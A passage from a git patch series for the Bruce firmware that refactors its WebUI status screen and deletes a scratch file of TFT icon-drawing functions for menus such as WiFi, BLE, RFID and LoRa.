+        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
+        bruceConfig.priColor
+    );
+
+    // Slash
+    tft.drawLine(
+        iconCenterX - slashSize / 2,
+        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
+        iconCenterX + slashSize / 2,
+        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
+        bruceConfig.priColor
+    );
+
+    // Right Arrow
+    tft.drawLine(
+        iconCenterX + iconW / 2 - arrowPadX,
+        iconCenterY + iconH / 2 - arrowPadBottom,
+        iconCenterX + iconW / 2 - arrowPadX - arrowSize,
+        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
+        bruceConfig.priColor
+    );
+    tft.drawLine(
+        iconCenterX + iconW / 2 - arrowPadX,
+        iconCenterY + iconH / 2 - arrowPadBottom,
+        iconCenterX + iconW / 2 - arrowPadX - arrowSize,
+        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
+        bruceConfig.priColor
+    );
+}
+========== WifiMenu.cpp ==========
+void WifiMenu::drawIcon(float scale) {
+    clearIconArea();
+    int deltaY = scale * 20;
+    int radius = scale * 6;
+
+    tft.fillCircle(iconCenterX, iconCenterY + deltaY, radius, bruceConfig.priColor);
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY + deltaY,
+        deltaY + radius,
+        deltaY,
+        130,
+        230,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+    tft.drawArc(
+        iconCenterX,
+        iconCenterY + deltaY,
+        2 * deltaY + radius,
+        2 * deltaY,
+        130,
+        230,
+        bruceConfig.priColor,
+        bruceConfig.bgColor
+    );
+}
diff --git a/src/core/wifi/webInterface.cpp b/src/core/wifi/webInterface.cpp
index bc46a0fe6..191123b2a 100644
--- a/src/core/wifi/webInterface.cpp
+++ b/src/core/wifi/webInterface.cpp
@@ -274,34 +274,42 @@ void notFound(AsyncWebServerRequest *request) { request->send(404, "text/plain",
 **  Draw information on screen of WebUI.
 **********************************************************************/
 void drawWebUiScreen(bool mode_ap) {
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.drawRoundRect(5, 5, tftWidth - 10, tftHeight - 10, 5, ALCOLOR);
-    if (mode_ap) {
-        setTftDisplay(0, 0, bruceConfig.bgColor, FM);
-        tft.drawCentreString("BruceNet/brucenet", tftWidth / 2, 7, 1);
-    }
-    setTftDisplay(0, 0, ALCOLOR, FM);
-    tft.drawCentreString("BRUCE WebUI", tftWidth / 2, 27, 1);
+    drawMainBorderWithTitle("WebUI", true);
+
     String txt;
     if (!mode_ap) txt = WiFi.localIP().toString();
     else txt = WiFi.softAPIP().toString();
-    tft.setTextColor(bruceConfig.priColor);
-
-    tft.drawCentreString("http://bruce.local", tftWidth / 2, 45, 1);
-    setTftDisplay(7, 67);
-
-    tft.setTextSize(FM);
-    tft.print("IP: ");
-    tft.println(txt);
-    tft.setCursor(7, tft.getCursorY());
-    tft.println("Usr: " + String(bruceConfig.webUI.user));
-    tft.setCursor(7, tft.getCursorY());
-    tft.println("Pwd: " + String(bruceConfig.webUI.pwd));
-    tft.setCursor(7, tft.getCursorY());
-    tft.setTextColor(TFT_RED);
+
+    int padX = 14;
+    int currentY = 55;
+
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    tft.setTextSize(FP);
+
+    if (mode_ap) {
+        tft.setCursor(padX, currentY);
+        tft.print("Net: BruceNet/brucenet");
+        currentY += LH * FP + 6;
+    }
+
+    tft.setCursor(padX, currentY);
+    tft.print("Url: http://bruce.local");
+    currentY += LH * FP + 6;
+
+    tft.setCursor(padX, currentY);
+    tft.print("IP:  " + txt);
+    currentY += LH * FP + 6;
+
+    tft.setCursor(padX, currentY);
+    tft.print("Usr: " + String(bruceConfig.webUI.user));
+    currentY += LH * FP + 6;
+
+    tft.setCursor(padX, currentY);
+    tft.print("Pwd: " + String(bruceConfig.webUI.pwd));
+
+    tft.setTextColor(TFT_RED, bruceConfig.bgColor);
     tft.setTextSize(FP);
-    tft.drawCentreString("press Esc to stop", tftWidth / 2, tftHeight - 2 * LH * FP, 1);
+    tft.drawCentreString("press Esc to stop", tftWidth / 2, tftHeight - 2 * LH * FP - 5, 1);
 
 #if defined(HAS_TOUCH)
     TouchFooter();

From d3e579e989d4f6db17102d41ac506f9e79cb3005 Mon Sep 17 00:00:00 2001
From: Franco <181183464+FrannnnDev@users.noreply.github.com>
Date: Mon, 23 Mar 2026 00:37:38 -0300
Subject: [PATCH 13/73] Delete icons.txt

---
 icons.txt | 866 ------------------------------------------------------
 1 file changed, 866 deletions(-)
 delete mode 100644 icons.txt

diff --git a/icons.txt b/icons.txt
deleted file mode 100644
index d61aefd51..000000000
--- a/icons.txt
+++ /dev/null
@@ -1,866 +0,0 @@
-========== AppsMenu.cpp ==========
-void AppsMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 60;
-    int iconH = scale * 60;
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-    int half = iconW / 2;
-
-    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
-    tft.drawLine(cx - half, cy - half + iconH / 4, cx + half, cy - half + iconH / 4, bruceConfig.priColor);
-
-    int gridW = iconW / 5;
-    int gridGap = iconW / 8;
-
-    int gridCenterY = cy + iconH / 8;
-    int gx1 = cx - gridW - gridGap / 2;
-    int gy1 = gridCenterY - gridW - gridGap / 2;
-    int gx2 = cx + gridGap / 2;
-    int gy2 = gridCenterY + gridGap / 2;
-
-    tft.fillRect(gx1, gy1, gridW, gridW, bruceConfig.priColor);
-    tft.drawRect(gx2, gy1, gridW, gridW, bruceConfig.priColor);
-    tft.drawRect(gx1, gy2, gridW, gridW, bruceConfig.priColor);
-    tft.fillRect(gx2, gy2, gridW, gridW, bruceConfig.priColor);
-}
-========== AppStoreMenu.cpp ==========
-void AppStoreMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 60;
-    int iconH = scale * 60;
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-    int half = iconW / 2;
-
-    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
-
-    int aw = iconW / 5;
-    int top = cy - half / 2;
-    int bot = cy + half / 6;
-    tft.fillRect(cx - aw / 2, top, aw, bot - top, bruceConfig.priColor);
-
-    int tw = half / 2 + 2;
-    tft.fillTriangle(cx - tw, bot, cx + tw, bot, cx, cy + half / 2, bruceConfig.priColor);
-
-    int ly = cy + half - half / 5;
-    tft.drawLine(cx - half / 2, ly, cx + half / 2, ly, bruceConfig.priColor);
-}
-========== BleMenu.cpp ==========
-void BleMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int lineWidth = scale * 5;
-    int iconW = scale * 36;
-    int iconH = scale * 60;
-    int radius = scale * 5;
-    int deltaRadius = scale * 10;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 4 != 0) iconH += 4 - (iconH % 4);
-
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY + iconH / 4,
-        iconCenterX - iconW,
-        iconCenterY - iconH / 4,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY - iconH / 4,
-        iconCenterX - iconW,
-        iconCenterY + iconH / 4,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY + iconH / 4,
-        iconCenterX - iconW / 2,
-        iconCenterY + iconH / 2,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        iconCenterX,
-        iconCenterY - iconH / 4,
-        iconCenterX - iconW / 2,
-        iconCenterY - iconH / 2,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-
-    tft.drawWideLine(
-        iconCenterX - iconW / 2,
-        iconCenterY - iconH / 2,
-        iconCenterX - iconW / 2,
-        iconCenterY + iconH / 2,
-        lineWidth,
-        bruceConfig.priColor,
-        bruceConfig.priColor
-    );
-
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius,
-        2 * radius,
-        210,
-        330,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        210,
-        330,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        210,
-        330,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== ClockMenu.cpp ==========
-void ClockMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 30;
-    int pointerSize = scale * 15;
-
-    // Case
-    tft.drawArc(
-        iconCenterX, iconCenterY, 1.1 * radius, radius, 0, 360, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    // Pivot center
-    tft.fillCircle(iconCenterX, iconCenterY, radius / 10, bruceConfig.priColor);
-
-    // Hours & minutes
-    tft.drawLine(
-        iconCenterX,
-        iconCenterY,
-        iconCenterX - 2 * pointerSize / 3,
-        iconCenterY - 2 * pointerSize / 3,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX, iconCenterY, iconCenterX + pointerSize, iconCenterY - pointerSize, bruceConfig.priColor
-    );
-}
-========== ConfigMenu.cpp ==========
-void ConfigMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 9;
-
-    // Draw 6 gear teeth segments
-    for (int i = 0; i < 6; i++) {
-        tft.drawArc(
-            iconCenterX,
-            iconCenterY,
-            3.5 * radius,
-            2 * radius,
-            15 + 60 * i,
-            45 + 60 * i,
-            bruceConfig.priColor,
-            bruceConfig.bgColor,
-            true
-        );
-    }
-
-    // Draw inner circle
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        2.5 * radius,
-        radius,
-        0,
-        360,
-        bruceConfig.priColor,
-        bruceConfig.bgColor,
-        false
-    );
-}
-========== ConnectMenu.cpp ==========
-void ConnectMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 50;
-    int iconH = scale * 40;
-    int radius = scale * 7;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    tft.fillCircle(iconCenterX - iconW / 2, iconCenterY, radius, bruceConfig.priColor);
-
-    tft.fillCircle(iconCenterX + 0.3 * iconW, iconCenterY - iconH / 2, radius, bruceConfig.priColor);
-    tft.fillCircle(iconCenterX + 0.5 * iconW, iconCenterY, radius, bruceConfig.priColor);
-    tft.fillCircle(iconCenterX + 0.3 * iconW, iconCenterY + iconH / 2, radius, bruceConfig.priColor);
-
-    tft.drawLine(
-        iconCenterX - iconW / 2,
-        iconCenterY,
-        iconCenterX + 0.3 * iconW,
-        iconCenterY - iconH / 2,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX - iconW / 2, iconCenterY, iconCenterX + 0.5 * iconW, iconCenterY, bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX - iconW / 2,
-        iconCenterY,
-        iconCenterX + 0.3 * iconW,
-        iconCenterY + iconH / 2,
-        bruceConfig.priColor
-    );
-}
-========== EthernetMenu.cpp ==========
-void EthernetMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 50;
-    int iconH = scale * 50;
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-
-    int halfW = iconW / 2;
-    int halfH = iconH / 2;
-
-    int r = scale * 4;
-
-    // Outer thick connector frame
-    int outX = cx - halfW;
-    int outY = cy - halfH;
-
-    // Draw main frame
-    tft.drawRoundRect(outX, outY, iconW, iconH, r, bruceConfig.priColor);
-    tft.drawRoundRect(outX + 1, outY + 1, iconW - 2, iconH - 2, r - 1, bruceConfig.priColor);
-
-    // Draw the notch (the clip hole of RJ45) at the bottom
-    int notchW = iconW / 2.2;
-    int notchH = iconH / 3.5;
-    int notchX = cx - notchW / 2;
-    int notchY = outY + iconH - notchH;
-
-    tft.fillRect(notchX, notchY - 1, notchW, notchH + 2, bruceConfig.bgColor);
-
-    // Draw the indentation lines for the notch
-    tft.drawLine(notchX, notchY, notchX, notchY + notchH, bruceConfig.priColor);
-    tft.drawLine(notchX + notchW, notchY, notchX + notchW, notchY + notchH, bruceConfig.priColor);
-    tft.drawLine(notchX, notchY, cx - halfW, notchY, bruceConfig.priColor);
-    tft.drawLine(notchX + notchW, notchY, cx + halfW, notchY, bruceConfig.priColor);
-
-    // Draw pins at the top
-    int pinW = scale * 2;
-    if (pinW < 1) pinW = 1;
-    int pinH = iconH / 3;
-    int pinY = outY + 3;
-    int numPins = 6;
-    int space = (iconW - 14 * scale) / numPins;
-
-    int startX = cx - (space * (numPins - 1)) / 2;
-    for (int i = 0; i < numPins; i++) {
-        tft.fillRect(startX + i * space - pinW / 2, pinY, pinW, pinH, bruceConfig.priColor);
-    }
-}
-========== FileMenu.cpp ==========
-void FileMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconW = scale * 32;
-    int iconH = scale * 48;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int foldSize = iconH / 4;
-    int iconX = iconCenterX - iconW / 2;
-    int iconY = iconCenterY - iconH / 2;
-    int iconDelta = 10;
-
-    // Files
-    tft.drawRect(iconX + iconDelta, iconY - iconDelta, iconW, iconH, bruceConfig.priColor);
-
-    tft.fillRect(iconX, iconY, iconW, iconH, bruceConfig.bgColor);
-    tft.drawRect(iconX, iconY, iconW, iconH, bruceConfig.priColor);
-
-    tft.fillRect(iconX - iconDelta, iconY + iconDelta, iconW, iconH, bruceConfig.bgColor);
-    tft.drawRect(iconX - iconDelta, iconY + iconDelta, iconW, iconH, bruceConfig.priColor);
-
-    // Erase corners
-    tft.fillRect(
-        iconX + iconDelta + iconW - foldSize, iconY - iconDelta - 1, foldSize, 2, bruceConfig.bgColor
-    );
-    tft.fillRect(iconX + iconDelta + iconW - 1, iconY - iconDelta, 2, foldSize, bruceConfig.bgColor);
-
-    tft.fillRect(iconX + iconW - foldSize, iconY - 1, foldSize, 2, bruceConfig.bgColor);
-    tft.fillRect(iconX + iconW - 1, iconY, 2, foldSize, bruceConfig.bgColor);
-
-    tft.fillRect(
-        iconX - iconDelta + iconW - foldSize, iconY + iconDelta - 1, foldSize, 2, bruceConfig.bgColor
-    );
-    tft.fillRect(iconX - iconDelta + iconW - 1, iconY + iconDelta, 2, foldSize, bruceConfig.bgColor);
-
-    // Folds
-    tft.drawTriangle(
-        iconX + iconDelta + iconW - foldSize,
-        iconY - iconDelta,
-        iconX + iconDelta + iconW - foldSize,
-        iconY - iconDelta + foldSize - 1,
-        iconX + iconDelta + iconW - 1,
-        iconY - iconDelta + foldSize - 1,
-        bruceConfig.priColor
-    );
-    tft.drawTriangle(
-        iconX + iconW - foldSize,
-        iconY,
-        iconX + iconW - foldSize,
-        iconY + foldSize - 1,
-        iconX + iconW - 1,
-        iconY + foldSize - 1,
-        bruceConfig.priColor
-    );
-    tft.drawTriangle(
-        iconX - iconDelta + iconW - foldSize,
-        iconY + iconDelta,
-        iconX - iconDelta + iconW - foldSize,
-        iconY + iconDelta + foldSize - 1,
-        iconX - iconDelta + iconW - 1,
-        iconY + iconDelta + foldSize - 1,
-        bruceConfig.priColor
-    );
-}
-========== FMMenu.cpp ==========
-void FMMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconW = scale * 80;
-    int iconH = scale * 60;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int caseH = 5 * iconH / 6;
-    int caseX = iconCenterX - iconW / 2;
-    int caseY = iconCenterY - iconH / 3;
-
-    int btnY = (2 * caseY + caseH + iconH / 10 + iconH / 3) / 2;
-    int potX = (2 * caseX + iconW + iconW / 10 + iconW / 2) / 2;
-    int potY = caseY + caseH / 3 + iconH / 10;
-
-    // Case
-    tft.drawRoundRect(caseX, caseY, iconW, caseH, iconW / 10, bruceConfig.priColor);
-
-    // Potentiometer
-    tft.fillCircle(potX, potY, iconH / 7, bruceConfig.priColor);
-
-    // Screen
-    tft.drawRect(caseX + iconW / 10, caseY + iconH / 10, iconW / 2, iconH / 3, bruceConfig.priColor);
-
-    // Antenna
-    tft.drawLine(
-        caseX + iconW / 10, caseY, caseX + iconW / 10 + iconH / 3, caseY - iconH / 6, bruceConfig.priColor
-    );
-    tft.fillCircle(caseX + iconW / 10 + iconH / 3, caseY - iconH / 6, iconH / 30, bruceConfig.priColor);
-
-    // Buttons
-    tft.fillCircle(caseX + iconW / 10 + iconH / 8, btnY, iconH / 12, bruceConfig.priColor);
-    tft.fillCircle(caseX + iconW / 10 + iconW / 2 - iconH / 8, btnY, iconH / 12, bruceConfig.priColor);
-}
-========== GpsMenu.cpp ==========
-void GpsMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 18;
-    if (radius % 2 != 0) radius++;
-
-    int tangentX = sqrt(radius * radius - (radius / 2 * radius / 2));
-    int32_t tangentY = radius / 2;
-
-    tft.fillCircle(iconCenterX, iconCenterY - radius / 2, radius, bruceConfig.priColor);
-    tft.fillTriangle(
-        iconCenterX - tangentX,
-        iconCenterY - radius / 2 + tangentY,
-        iconCenterX + tangentX,
-        iconCenterY - radius / 2 + tangentY,
-        iconCenterX,
-        iconCenterY + 1.5 * radius,
-        bruceConfig.priColor
-    );
-    tft.fillCircle(iconCenterX, iconCenterY - radius / 2, radius / 2, bruceConfig.bgColor);
-
-    tft.drawEllipse(iconCenterX, iconCenterY + 1.5 * radius, 1.5 * radius, radius / 2, bruceConfig.priColor);
-}
-========== IRMenu.cpp ==========
-void IRMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconSize = scale * 60;
-    int radius = scale * 7;
-    int deltaRadius = scale * 10;
-
-    if (iconSize % 2 != 0) iconSize++;
-
-    tft.fillRect(
-        iconCenterX - iconSize / 2, iconCenterY - iconSize / 2, iconSize / 6, iconSize, bruceConfig.priColor
-    );
-    tft.fillRect(
-        iconCenterX - iconSize / 3,
-        iconCenterY - iconSize / 3,
-        iconSize / 6,
-        2 * iconSize / 3,
-        bruceConfig.priColor
-    );
-
-    tft.drawCircle(iconCenterX - iconSize / 6, iconCenterY, radius, bruceConfig.priColor);
-
-    tft.drawArc(
-        iconCenterX - iconSize / 6,
-        iconCenterY,
-        2.5 * radius,
-        2 * radius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 6,
-        iconCenterY,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 6,
-        iconCenterY,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== LoRaMenu.cpp ==========
-void LoRaMenu::drawIcon(float scale) {
-    clearIconArea();
-    scale *= 0.75;
-    int cx = iconCenterX;
-    int cy = iconCenterY + (scale * 8);
-
-#define CALC_X(val) (cx + ((val - 50) * scale))
-#define CALC_Y(val) (cy + ((val - 50) * scale))
-
-    int lineWidth = scale * 4.5;
-    if (lineWidth < 2) lineWidth = 2;
-    int ballRad = scale * 6;
-
-    // --- LEGS UPDATED (Y changed from 95 to 85) ---
-
-    // Left Leg
-    tft.drawWideLine(
-        CALC_X(44), CALC_Y(35), CALC_X(26), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-    // Right Leg
-    tft.drawWideLine(
-        CALC_X(56), CALC_Y(35), CALC_X(74), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- CROSS BARS (Unchanged) ---
-
-    // Top Cross Bar
-    tft.drawWideLine(
-        CALC_X(44), CALC_Y(35), CALC_X(56), CALC_Y(35), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // Middle Cross Bar
-    tft.drawWideLine(
-        CALC_X(35), CALC_Y(65), CALC_X(65), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- X-BRACING TOP (Unchanged) ---
-
-    // X-Bracing (Top Section)
-    tft.drawWideLine(
-        CALC_X(44), CALC_Y(35), CALC_X(65), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        CALC_X(56), CALC_Y(35), CALC_X(35), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- X-BRACING BOTTOM UPDATED (Y changed from 95 to 85) ---
-
-    // X-Bracing (Bottom Section)
-    tft.drawWideLine(
-        CALC_X(35), CALC_Y(65), CALC_X(74), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        CALC_X(65), CALC_Y(65), CALC_X(26), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- REST IS UNCHANGED ---
-
-    // ball
-    int ballY = CALC_Y(25);
-    tft.fillCircle(cx, ballY, ballRad, bruceConfig.priColor);
-
-    // waves
-    int r1 = scale * 20;
-    int r2 = scale * 32;
-
-    // Right Side (90 degrees +/-)
-    tft.drawArc(cx, ballY, r1 + lineWidth, r1, 60, 120, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawArc(cx, ballY, r2 + lineWidth, r2, 60, 120, bruceConfig.priColor, bruceConfig.bgColor);
-
-    // Left Side (270 degrees +/-)
-    tft.drawArc(cx, ballY, r1 + lineWidth, r1, 240, 300, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawArc(cx, ballY, r2 + lineWidth, r2, 240, 300, bruceConfig.priColor, bruceConfig.bgColor);
-}
-========== NRF24.cpp ==========
-void NRF24Menu::drawIcon(float scale) {
-    clearIconArea();
-    int iconW = scale * 80;
-    int iconH = scale * 60;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int caseW = 3 * iconW / 4;
-    int caseH = 2 * iconH / 3;
-    int caseX = iconCenterX - iconW / 2;
-    int caseY = iconCenterY - iconH / 6;
-
-    int antW = iconW / 8;
-    int connR = iconH / 20;
-
-    // Case
-    tft.drawRect(caseX, caseY, caseW, caseH, bruceConfig.priColor);
-
-    // Antenna
-    tft.fillRect(caseX + caseW, caseY + caseH / 2 - antW / 2, antW, antW, bruceConfig.priColor);
-    tft.fillRoundRect(
-        caseX + caseW + antW,
-        caseY + caseH - iconH,
-        antW,
-        iconH - caseH / 2 + antW / 2,
-        antW / 2,
-        bruceConfig.priColor
-    );
-
-    // Connectors
-    tft.fillCircle(caseX + caseW / 6, caseY + 1 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 6, caseY + 2 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 6, caseY + 3 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 6, caseY + 4 * caseH / 5, connR, bruceConfig.priColor);
-
-    tft.fillCircle(caseX + caseW / 3, caseY + 1 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 3, caseY + 2 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 3, caseY + 3 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 3, caseY + 4 * caseH / 5, connR, bruceConfig.priColor);
-
-    // Chip
-    tft.fillRect(
-        caseX + caseW - 2 * antW - connR, caseY + caseH / 2 - antW / 2, antW, antW, bruceConfig.priColor
-    );
-}
-========== OthersMenu.cpp ==========
-void OthersMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    // Dynamic radius calculation based on scale for responsive rendering
-    int radius = scale * 7;
-
-    // Center circle
-    tft.fillCircle(iconCenterX, iconCenterY, radius, bruceConfig.priColor);
-
-    // Concentric arcs - dynamically scaled for different screen sizes
-    tft.drawArc(
-        iconCenterX, iconCenterY, 2.5 * radius, 2 * radius, 0, 340, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    tft.drawArc(
-        iconCenterX, iconCenterY, 3.5 * radius, 3 * radius, 20, 360, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    tft.drawArc(
-        iconCenterX, iconCenterY, 4.5 * radius, 4 * radius, 0, 200, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        4.5 * radius,
-        4 * radius,
-        240,
-        360,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== RFIDMenu.cpp ==========
-void RFIDMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconSize = scale * 70;
-    int iconRadius = scale * 7;
-    int deltaRadius = scale * 10;
-
-    if (iconSize % 2 != 0) iconSize++;
-
-    tft.drawRoundRect(
-        iconCenterX - iconSize / 2,
-        iconCenterY - iconSize / 2,
-        iconSize,
-        iconSize,
-        iconRadius,
-        bruceConfig.priColor
-    );
-    tft.fillRect(iconCenterX - iconSize / 2, iconCenterY, iconSize / 2, iconSize / 2, bruceConfig.bgColor);
-
-    tft.drawCircle(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        iconRadius,
-        bruceConfig.priColor
-    );
-
-    tft.drawArc(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        2.5 * iconRadius,
-        2 * iconRadius,
-        180,
-        270,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        2.5 * iconRadius + deltaRadius,
-        2 * iconRadius + deltaRadius,
-        180,
-        270,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        2.5 * iconRadius + 2 * deltaRadius,
-        2 * iconRadius + 2 * deltaRadius,
-        180,
-        270,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== RFMenu.cpp ==========
-void RFMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 7;
-    int deltaRadius = scale * 10;
-    int triangleSize = scale * 30;
-
-    if (triangleSize % 2 != 0) triangleSize++;
-
-    // Body
-    tft.fillCircle(iconCenterX, iconCenterY - radius, radius, bruceConfig.priColor);
-    tft.fillTriangle(
-        iconCenterX,
-        iconCenterY,
-        iconCenterX - triangleSize / 2,
-        iconCenterY + triangleSize,
-        iconCenterX + triangleSize / 2,
-        iconCenterY + triangleSize,
-        bruceConfig.priColor
-    );
-
-    // Left Arcs
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius,
-        2 * radius,
-        40,
-        140,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        40,
-        140,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        40,
-        140,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-
-    // Right Arcs
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius,
-        2 * radius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== ScriptsMenu.cpp ==========
-void ScriptsMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 40;
-    int iconH = scale * 60;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int foldSize = iconH / 4;
-    int arrowSize = iconW / 10;
-    int arrowPadX = 2 * arrowSize;
-    int arrowPadBottom = 3 * arrowPadX;
-    int slashSize = 2 * arrowSize;
-
-    // File
-    tft.drawRect(iconCenterX - iconW / 2, iconCenterY - iconH / 2, iconW, iconH, bruceConfig.priColor);
-    tft.fillRect(
-        iconCenterX + iconW / 2 - foldSize, iconCenterY - iconH / 2, foldSize, foldSize, bruceConfig.bgColor
-    );
-    tft.drawTriangle(
-        (iconCenterX + iconW / 2 - foldSize),
-        (iconCenterY - iconH / 2),
-        (iconCenterX + iconW / 2 - foldSize),
-        (iconCenterY - iconH / 2 + foldSize - 1),
-        (iconCenterX + iconW / 2 - 1),
-        (iconCenterY - iconH / 2 + foldSize - 1),
-        bruceConfig.priColor
-    );
-
-    // Left Arrow
-    tft.drawLine(
